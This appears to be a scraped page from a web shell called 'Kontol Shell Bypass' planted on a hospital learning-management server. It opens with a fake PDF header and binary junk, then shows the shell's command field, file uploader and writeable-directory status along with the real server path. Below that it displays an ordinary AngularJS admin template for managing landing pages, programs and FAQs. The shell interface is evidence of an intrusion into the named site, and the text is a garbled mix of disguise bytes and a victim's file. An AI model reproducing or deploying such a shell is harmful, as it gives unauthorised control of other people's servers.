%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/views/master/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/views/master/landing_pages.html
<div class="page-bar">
    <ul class="page-breadcrumb uc">
        <li><h2>Manage Landing Pages</h2></li>
    </ul>
    <div class="page-toolbar">
        <button type="button" class="btn btn-info" ng-click="CR.showApplyBeforeForm()">Apply Before Details</button>
    </div>
</div>
<!-- -->

<div class="tabbable-custom">
    <ul class="nav nav-tabs">
        <li class="active">
            <a href="#tab_1" data-toggle="tab" aria-expanded="true" onclick="event.preventDefault()"> Landing Pages </a>
        </li>
        <li>
            <a href="#tab_2" data-toggle="tab" aria-expanded="true" ng-click="CR.initLPPrograms()" onclick="event.preventDefault()"> Programs Under Landing Pages </a>
        </li>
        <li>
            <a href="#tab_3" data-toggle="tab" aria-expanded="true" ng-click="CR.initLPFaq()" onclick="event.preventDefault()"> FAQ's Under Landing Pages </a>
        </li>
    </ul>

    <div class="tab-content nobdr">
        <!-- Landing Pages -->
        <div class="tab-pane active" id="tab_1">
            <!-- Search -->
            <div class="form-group">
                <a href="" class="btn blue btn-outline pull-right" ng-click="CR.open_form()"><i class="fa fa-plus"></i> Add New</a>
                <form ng-submit="CR.lists()">
                    <div class="form-inline fc-sm">
                        <input type="text" ng-model="CR.sdata.k" class="form-control w200" placeholder="Keyword..." />&nbsp;
                        <button type="submit" class="btn btn-info">Search</button>
                    </div>
                </form>
            </div>
            <!-- / -->

            <div ng-if="CR.result.length">
                <div class="text-secondary bold mb10">
                    Showing {{CR.page.start+1}} - {{CR.page.start+CR.page.total}} of {{CR.page.total_records}} records.
                </div>
                <div class="table-responsive">
                    <table class="table table-condensed table-striped table-bordered table-advance table-hover">
                        <thead class="vmid uc">
                            <tr>
                                <th class="w20">SN</th>
                                <th>Landing Page Url</th>
                                <th class="w150">NA UTM Source</th>
                                <!-- <th class="w100 text-right">Instant Fee</th>
                                <th class="w100 text-right">Male Fee</th>
                                <th class="w100 text-right">Female Fee</th>
                                <th class="w100 text-right">Other Fee</th> -->
                                <th class="w60">Status</th>
                                <th class="w60"></th>
                                <th class="w85"></th>
                            </tr>
                        </thead>
        
                        <tbody class="vtop">
                            <tr ng-repeat="(i,r) in CR.result">
                                <td>{{i+CR.page.start+1}}.</td>
                                <td>
                                    {{r.title}}
                                    <i class="fa fa-check-circle text-success" ng-if="r.isdefault==1"></i>
                                    <div class="pdT3 note-text" ng-if="r.step1pay*1">Step1 Payment Active</div>
                                    <div class="pdT3 note-text" ng-if="r.coupan_added"><i class="fa fa-check-circle text-success"></i> Coupan Added</div>

                                    <div class="pdT3 note-text" ng-if="r.male_offer_fee*1">
                                        Male Offer: <strong>{{r.male_offer_fee}}</strong> |
                                        Female Offer: <strong>{{r.female_offer_fee}}</strong> |
                                        Other Offer: <strong>{{r.other_offer_fee}}</strong>
                                    </div>
                                    <div class="pdT3 note-text" ng-if="r.offer_msg">
                                        Offer Msg:<br /><strong>{{r.offer_msg}}</strong>
                                    </div>
                                </td>
                                <td>
                                    {{r.na_utm_source}}
                                </td>
                                <!-- <td class="text-right">{{r.instant_fee}}</td>
                                <td class="text-right">{{r.male_fee}}</td>
                                <td class="text-right">{{r.female_fee}}</td>
                                <td class="text-right">{{r.other_fee}}</td> -->
                                <td>
                                    <span class="label label-sm label-success label-mini" ng-if="r.status=='1'">Active</span>
                                    <span class="label label-sm label-danger label-mini" ng-if="r.status=='0'">Inactive</span>
                                </td>
                                <td>
                                    {{r.for_mob_app=='1'?'MOBILE':''}}
                                </td>
                                <td class="text-center">
                                    <div class="btn-group btn-group-solid">
                                        <button type="button" class="btn btn-xs default" ng-click="CR.editLP(r.id)"><i class="fa fa-edit"></i></button>
                                        <button type="button" class="btn btn-xs red" ng-click="CR.deleteLP(r.id)"><i class="fa fa-trash-o"></i></button>
                                    </div>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <div class="bold" ng-show="CR.page.total_pages>1">
                    <div dir-paging fn="CR.lists" pageob="CR.page"></div>
                </div>
            </div>
            <div class="text-center text-default pd20" ng-if="!CR.result.length">No record found.</div>
        </div>
        <!-- /Landing Pages End -->

        <!-- Landing Page Programs -->
        <div class="tab-pane" id="tab_2">
            <div class="row">
                <div class="col-md-4">
                    <div class="portlet box purple">
                        <div class="portlet-title">
                            <div class="caption uc">Select Landing Page</div>
                        </div>
                        <div class="portlet-body" id="LPBx" style="padding:0">
                            <div style="padding:5px 3px">
                                <div class="input-icon right">
                                    <i class="fa fa-search font-purple"></i>
                                    <input type="text" class="form-control" ng-model="CR.searchLPInput" placeholder="Search">
                                </div>
                            </div>
                            <div class="clearfix" style="height: 400px; overflow:auto">
                                <div style="padding:3px">
                                    <ul class="nav nav-pills nav-stacked">
                                        <li class="{{r.actClass}}" ng-repeat="(i,r) in CR.allLandingPages | filter:CR.searchLPInput" ng-click="CR.getLPPrograms(r)">
                                            <a href="javascript:;"><span class="badge badge-info pull-right"> {{r.noOfProg}} </span> {{r.title}} </a>
                                        </li>
                                    </ul>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="col-md-8">
                    <div class="portlet box yellow">
                        <div class="portlet-title">
                            <div class="caption">PROGRAMS: {{CR.selectedLP.title}}</div>
                            <div class="actions">
                                <a href="javascript:;" class="btn green btn-sm" ng-click="CR.openLPPForm()"> <i class="fa fa-plus"></i> Assign Programs </a>
                            </div>
                        </div>
                        <div class="portlet-body" id="LPPBx" style="padding:0">
                            <div style="padding:5px 3px">
                                <div class="clearfix">
                                    <div style="float: left; width:calc(100% - 140px)">
                                        <div class="input-icon right">
                                            <i class="fa fa-search font-yellow"></i>
                                            <input type="text" class="form-control" ng-model="CR.searchLPPInput" placeholder="Search">
                                        </div>
                                    </div>
                                    <div style="float: right; width:130px">
                                        <button type="button" class="btn btn-block red" ng-click="CR.deleteAllLPP()"><i class="fa fa-trash-o"></i> Remove All</button>
                                    </div>
                                </div>
                            </div>

                            <div style="height: 400px; overflow:auto; padding:0 3px">
                                <div class="table-responsive">
                                    <table class="table table-condensed table-striped table-bordered table-advance table-hover">
                                        <tbody class="vmid">
                                            <tr ng-repeat="(i,r) in CR.lpprograms | filter:CR.searchLPPInput">
                                                <td class="w20">{{i+1}}.</td>
                                                <td>{{r.program}}</td>
                                                <td class="w100">{{r.ac}}</td>
                                                <td class="w20 text-center">
                                                    <div class="btn-group btn-group-solid">
                                                        <button type="button" class="btn btn-xs red" ng-click="CR.deleteLPP(r.id)"><i class="fa fa-trash-o"></i></button>
                                                    </div>
                                                </td>
                                            </tr>
                                        </tbody>
                                    </table>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- /Landing Page Program End -->

        <!-- Landing Page Faq -->
        <div class="tab-pane" id="tab_3">
            <div class="row">
                <div class="col-md-4">
                    <div class="portlet box blue-hoki">
                        <div class="portlet-title">
                            <div class="caption uc">Select Landing Page</div>
                        </div>
                        <div class="portlet-body" id="LPFBx" style="padding:0">
                            <div style="padding:5px 3px">
                                <div class="input-icon right">
                                    <i class="fa fa-search font-blue-hoki"></i>
                                    <input type="text" class="form-control" ng-model="CR.searchLPFInput" placeholder="Search">
                                </div>
                            </div>
                            <div class="clearfix" style="height: 400px; overflow:auto">
                                <div style="padding:3px">
                                    <ul class="nav nav-pills nav-stacked">
                                        <li class="{{r.actClass}}" ng-repeat="(i,r) in CR.allLandingPagesF | filter:CR.searchLPFInput" ng-click="CR.getLPFaqs(r)">
                                            <a href="javascript:;"><span class="badge badge-info pull-right"> {{r.noOfFaq}} </span> {{r.title}} </a>
                                        </li>
                                    </ul>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="col-md-8">
                    <div class="portlet box blue">
                        <div class="portlet-title">
                            <div class="caption">FAQ's: {{CR.selectedLPF.title}}</div>
                            <div class="actions">
                                <a href="javascript:;" class="btn green btn-sm" ng-click="CR.openLPFForm()"> <i class="fa fa-plus"></i> Assign FAQ's </a>
                            </div>
                        </div>
                        <div class="portlet-body" id="LPFFBx" style="padding:0">
                            <div style="padding:5px 3px">
                                <div class="clearfix">
                                    <div style="float: left; width:calc(100% - 140px)">
                                        <div class="input-icon right">
                                            <i class="fa fa-search font-blue"></i>
                                            <input type="text" class="form-control" ng-model="CR.searchLPFFInput" placeholder="Search">
                                        </div>
                                    </div>
                                    <div style="float: right; width:130px">
                                        <button type="button" class="btn btn-block red" ng-click="CR.deleteAllLPF()"><i class="fa fa-trash-o"></i> Remove All</button>
                                    </div>
                                </div>
                            </div>

                            <div style="height: 400px; overflow:auto; padding:0 3px">
                                <div class="table-responsive">
                                    <table class="table table-condensed table-striped table-bordered table-advance table-hover">
                                        <tbody class="vmid">
                                            <tr ng-repeat="(i,r) in CR.lpfaqs | filter:CR.searchLPFFInput">
                                                <td class="w20">{{i+1}}.</td>
                                                <td>
                                                    {{r.question}}
                                                    <div class="note-text">{{r.cats}}</div>
                                                </td>
                                                <td class="w20 text-center">
                                                    <div class="btn-group btn-group-solid">
                                                        <button type="button" class="btn btn-xs red" ng-click="CR.deleteLPF(r.id)"><i class="fa fa-trash-o"></i></button>
                                                    </div>
                                                </td>
                                            </tr>
                                        </tbody>
                                    </table>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- /Landing Page Faq End -->
    </div>
</div>


<!-- Form -->
<div class="modal bs-modal-md modal-scroll in" id="formModal" tabindex="-1" role="dialog" aria-hidden="true" data-backdrop="static">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                <h4 class="modal-title">{{CR.dtl.id?'Update':'Add'}} Landing Page</h4>
            </div>
            
            <div class="modal-body err-abs form-lbl-grey">
                <form id="frm" autocomplete="off" spellcheck="false">
                    <input type="hidden" name="id" value="{{CR.dtl.id}}" />
                    <div class="row mingap">
                        <div class="col-md-12 form-group">
                            <label class="req">Landing Page Url</label>
                            <input type="text" class="form-control" name="title" ng-model="CR.dtl.title" maxlength="100">
                        </div>

                        <div class="col-md-12 form-group">
                            <label>UTM Source (In case of N/A)</label>
                            <select class="form-control" name="na_utm_source_id" ng-model="CR.dtl.na_utm_source_id">
                                <option value="0">Select</option>
                                <option value="{{r.id}}" ng-repeat="r in CR.utmSources">{{r.title}}</option>
                            </select>
                        </div>

                        <div class="col-md-4 form-group">
                            <label>For Mobile App?</label>
                            <select class="form-control" name="for_mob_app" ng-model="CR.dtl.for_mob_app">
                                <option value="0">No</option>
                                <option value="1">Yes</option>
                            </select>
                        </div>

                        <div class="col-md-4 form-group">
                            <label>Is Default?</label>
                            <select class="form-control" name="isdefault" ng-model="CR.dtl.isdefault">
                                <option value="0">No</option>
                                <option value="1">Yes</option>
                            </select>
                        </div>

                        <!-- <div class="col-md-3 form-group">
                            <label>Step1 Payment?</label>
                            <select class="form-control" name="step1pay" ng-model="CR.dtl.step1pay">
                                <option value="0">No</option>
                                <option value="1">Yes</option>
                            </select>
                        </div> -->
                        <div class="col-md-4 form-group">
                            <label>Apply Before</label>
                            <select class="form-control" name="show_apply_before" ng-model="CR.dtl.show_apply_before">
                                <option value="0">Don't Show</option>
                                <option value="1">Show</option>
                            </select>
                        </div>

                        <!-- <div class="col-md-3 form-group">
                            <label class="">Instant Fee</label>
                            <input type="text" class="form-control" name="instant_fee" ng-model="CR.dtl.instant_fee" maxlength="10" valid="int">
                        </div>
                        <div class="col-md-3 form-group">
                            <label class="">Male Fee</label>
                            <input type="text" class="form-control" name="male_fee" ng-model="CR.dtl.male_fee" maxlength="10" valid="int">
                        </div>
                        <div class="col-md-3 form-group">
                            <label class="">Female Fee</label>
                            <input type="text" class="form-control" name="female_fee" ng-model="CR.dtl.female_fee" maxlength="10" valid="int">
                        </div>
                        <div class="col-md-3 form-group">
                            <label class="">Other Fee</label>
                            <input type="text" class="form-control" name="other_fee" ng-model="CR.dtl.other_fee" maxlength="10" valid="int">
                        </div> -->

                        <div class="col-md-12 form-group">
                            <fieldset>
                                <legend>Offer Detail</legend>
                                <div class="p10">
                                    <div class="row mingap">
                                        <div class="col-md-6 form-group">
                                            <label class="">For All Landing Pages?</label>
                                            <select class="form-control" name="for_all">
                                                <option value="">No</option>
                                                <option value="Y">Yes</option>
                                            </select>
                                        </div>

                                        <!-- <div class="col-md-3 form-group">
                                            <label class="">Male Offer Fee</label>
                                            <input type="text" class="form-control" name="male_offer_fee" ng-model="CR.dtl.male_offer_fee" maxlength="10" valid="int">
                                        </div>

                                        <div class="col-md-3 form-group">
                                            <label class="">Female Offer Fee</label>
                                            <input type="text" class="form-control" name="female_offer_fee" ng-model="CR.dtl.female_offer_fee" maxlength="10" valid="int">
                                        </div>

                                        <div class="col-md-3 form-group">
                                            <label class="">Other Offer Fee</label>
                                            <input type="text" class="form-control" name="other_offer_fee" ng-model="CR.dtl.other_offer_fee" maxlength="10" valid="int">
                                        </div>
                                    </div> -->
                                    <div class="col-md-6 form-group">
                                        <label class="">Offer Message</label>
                                        <input type="text" class="form-control" name="offer_msg" ng-model="CR.dtl.offer_msg" maxlength="255">
                                    </div>
                                </div>
                            </fieldset>
                        </div>
                        

                        <div class="col-md-3 form-group">
                            <label>Status</label>
                            <select class="form-control" name="status" ng-model="CR.dtl.status">
                                <option value="1">Active</option>
                                <option value="0">Inactive</option>
                            </select>
                        </div>
                    </div>

                    <div ng-if="CR.coupans.length">
                        <hr class="mt10">
                        <label>Select Offers</label>
                        <table class="table table-condensed table-striped table-bordered table-advance table-hover lpChk">
                            <thead class="vmid">
                                <tr>
                                    <th class="w20">
                                        <input type="checkbox" class="allChk" onclick="allChk('.lpChk')">
                                    </th>
                                    <th>Offer Name</th>
                                    <th class="w120">Expiry Date</th>
                                    <th class="w120 text-right">Offer Value</th>
                                </tr>
                            </thead>
            
                            <tbody class="vmid">
                                <tr ng-repeat="(i,r) in CR.coupans">
                                    <td>
                                        <input type="checkbox" class="chk" name="coupans[]" value="{{r.id}}" onclick="chk('.lpChk')">
                                    </td>
                                    <td>{{r.title}}</td>
                                    <td>{{r.expiry_date}}</td>
                                    <td class="text-right">INR {{r.amt}}</td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                </form>
            </div>

            <div class="modal-footer">
                <button type="button" class="btn dark btn-outline" data-dismiss="modal">Close</button>
                <button type="button" class="btn green" ng-click="CR.save()">Save</button>
            </div>
        </div>
    </div>
</div>

<!-- Program Form -->
<div class="modal bs-modal-lg modal-scroll in" id="lppformModal" tabindex="-1" role="dialog" aria-hidden="true" data-backdrop="static">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                <h4 class="modal-title">Assign Programs: <strong>{{CR.selectedLP.title}}</strong></h4>
            </div>
            
            <div class="modal-body err-abs form-lbl-grey">
                <div class="mb10">
                    <div class="form-inline fc-sm">
                        <select class="form-control" ng-model="CR.LPsdata.type_id" ng-change="CR.listPrograms()">
                            <option value="">Type (ALL)</option>
                            <option value="{{r.id}}" ng-repeat="r in CR.programTypes">{{r.title}}</option>
                        </select>
                        <select class="form-control" ng-model="CR.LPsdata.ac_id" ng-change="CR.listPrograms()">
                            <option value="">Acad. Career (ALL)</option>
                            <option value="{{r.id}}" ng-repeat="r in CR.academicCareers">{{r.title}}</option>
                        </select>
                        <select class="form-control w200" ng-model="CR.LPsdata.discipline_id" ng-change="CR.listPrograms()">
                            <option value="">Discipline (ALL)</option>
                            <option value="{{r.id}}" ng-repeat="r in CR.disciplines">{{r.title}}</option>
                        </select>
                        <select class="form-control w200" ng-model="CR.LPsdata.school_id" ng-change="CR.listPrograms()">
                            <option value="">School (ALL)</option>
                            <option value="{{r.id}}" ng-repeat="r in CR.schools">{{r.title}}</option>
                        </select>
                        <input type="text" ng-model="CR.LPsdata.k" class="form-control w150" ng-keyup="CR.listPrograms()" placeholder="Keyword..." />
                        <!-- <button type="button" class="btn btn-info" ng-click="CR.listPrograms()">Search</button> -->
                    </div>
                </div>
                <div class="bold mb5">
                    {{CR.programs.length}} record(s) found.
                </div>

                <form id="lppfrm" autocomplete="off" spellcheck="false">
                    <input type="hidden" name="lpage_id" value="{{CR.selectedLP.id}}" />
                    <div class="table-responsive">
                        <table class="table table-condensed table-striped table-bordered table-advance table-hover chkProgTbl">
                            <thead class="vmid">
                                <tr>
                                    <th class="w20">
                                        <input type="checkbox" class="allChk" onclick="allChk('.chkProgTbl')">
                                    </th>
                                    <th>Program Name</th>
                                    <th class="w100">Code</th>
                                    <th class="w100">Type</th>
                                    <th class="w150">Acad. Career</th>
                                    <th class="w150 text-right">Application Fee</th>
                                </tr>
                            </thead>
            
                            <tbody class="vmid">
                                <tr ng-repeat="(i,r) in CR.programs">
                                    <td>
                                        <input type="checkbox" class="chk" name="programs[]" value="{{r.id}}" onclick="chk('.chkProgTbl')">
                                    </td>
                                    <td>
                                        {{r.title}}
                                        <div class="note-text">
                                            {{r.discipline}} | {{r.school}}
                                        </div>
                                    </td>
                                    <td>{{r.code}}</td>
                                    <td>{{r.type}}</td>
                                    <td>{{r.ac_name}} (<span class="font-blue-hoki">{{r.ac_code}}</span>)</td>
                                    <td class="text-right">INR {{r.fee}}</td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                </form>
            </div>

            <div class="modal-footer">
                <button type="button" class="btn dark btn-outline" data-dismiss="modal">Close</button>
                <button type="button" class="btn green" ng-click="CR.saveLPP()">Add Selected Programs</button>
            </div>
        </div>
    </div>
</div>

<!-- Faq Form -->
<div class="modal bs-modal-lg modal-scroll in" id="lpfformModal" tabindex="-1" role="dialog" aria-hidden="true" data-backdrop="static">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                <h4 class="modal-title">Assign FAQ's: <strong>{{CR.selectedLPF.title}}</strong></h4>
            </div>
            
            <div class="modal-body err-abs form-lbl-grey">
                <div class="mb10">
                    <div class="form-inline fc-sm">
                        <select class="form-control" ng-model="CR.LPFsdata.cat_id" ng-change="CR.listFaqs()">
                            <option value="">Category (ALL)</option>
                            <option value="{{r.id}}" ng-repeat="r in CR.faqCats">{{r.title}}</option>
                        </select>
                        <input type="text" ng-model="CR.LPFsdata.k" class="form-control w150" ng-keyup="CR.listFaqs()" placeholder="Keyword..." />
                        <!-- <button type="button" class="btn btn-info" ng-click="CR.listFaqs()">Search</button> -->
                    </div>
                </div>
                <div class="bold mb5">
                    {{CR.faqs.length}} record(s) found.
                </div>

                <form id="lpffrm" autocomplete="off" spellcheck="false">
                    <input type="hidden" name="lpage_id" value="{{CR.selectedLPF.id}}" />
                    <div class="table-responsive">
                        <table class="table table-condensed table-striped table-bordered table-advance table-hover chkFaqTbl">
                            <thead class="vmid">
                                <tr>
                                    <th class="w20">
                                        <input type="checkbox" class="allChk" onclick="allChk('.chkFaqTbl')">
                                    </th>
                                    <th>FAQ</th>
                                </tr>
                            </thead>
            
                            <tbody class="vmid">
                                <tr ng-repeat="(i,r) in CR.faqs">
                                    <td>
                                        <input type="checkbox" class="chk" name="faqs[]" value="{{r.id}}" onclick="chk('.chkFaqTbl')">
                                    </td>
                                    <td>
                                        {{r.question}}
                                        <div class="note-text">{{r.cats}}</div>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                </form>
            </div>

            <div class="modal-footer">
                <button type="button" class="btn dark btn-outline" data-dismiss="modal">Close</button>
                <button type="button" class="btn green" ng-click="CR.saveLPF()">Add Selected FAQ's</button>
            </div>
        </div>
    </div>
</div>

<!-- Apply before info form -->
<div class="modal bs-modal-lg modal-scroll in" id="abFormModal" role="dialog" aria-hidden="true" data-backdrop="static">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                <h4 class="modal-title">Apply Before Info</h4>
            </div>
            
            <div class="modal-body err-abs form-lbl-grey">
                <form id="abfrm" autocomplete="off" spellcheck="false">
                    <div class="table-responsive">
                        <table class="table table-condensed table-striped table-bordered table-advance table-hover">
                            <tbody class="vmid">
                                <tr>
                                    <td class="w100">Image</td>
                                    <td>
                                        <input type="file" name="image" />
                                        <div class="pt5" ng-if="CR.abDtl.apply_before_image_url">
                                            <img ng-src="{{CR.abDtl.apply_before_image_url}}" style="max-width: 100px;" />
                                        </div>
                                    </td>
                                </tr>
                                <tr>
                                    <td>Line1 Text</td>
                                    <td>
                                        <input class="form-control" type="text" name="line1" ng-value="CR.abDtl.apply_before_line1" />
                                    </td>
                                </tr>
                                <tr>
                                    <td>Line2 Text</td>
                                    <td>
                                        <input class="form-control" type="text" name="line2" ng-value="CR.abDtl.apply_before_line2" />
                                    </td>
                                </tr>
                                <tr>
                                    <td>Line3 Text</td>
                                    <td>
                                        <input class="form-control" type="text" name="line3" ng-value="CR.abDtl.apply_before_line3" />
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                </form>
            </div>

            <div class="modal-footer">
                <button type="button" class="btn dark btn-outline" data-dismiss="modal">Close</button>
                <button type="button" class="btn green" ng-click="CR.saveApplyBefore()">Save</button>
            </div>
        </div>
    </div>
</div>

Kontol Shell Bypass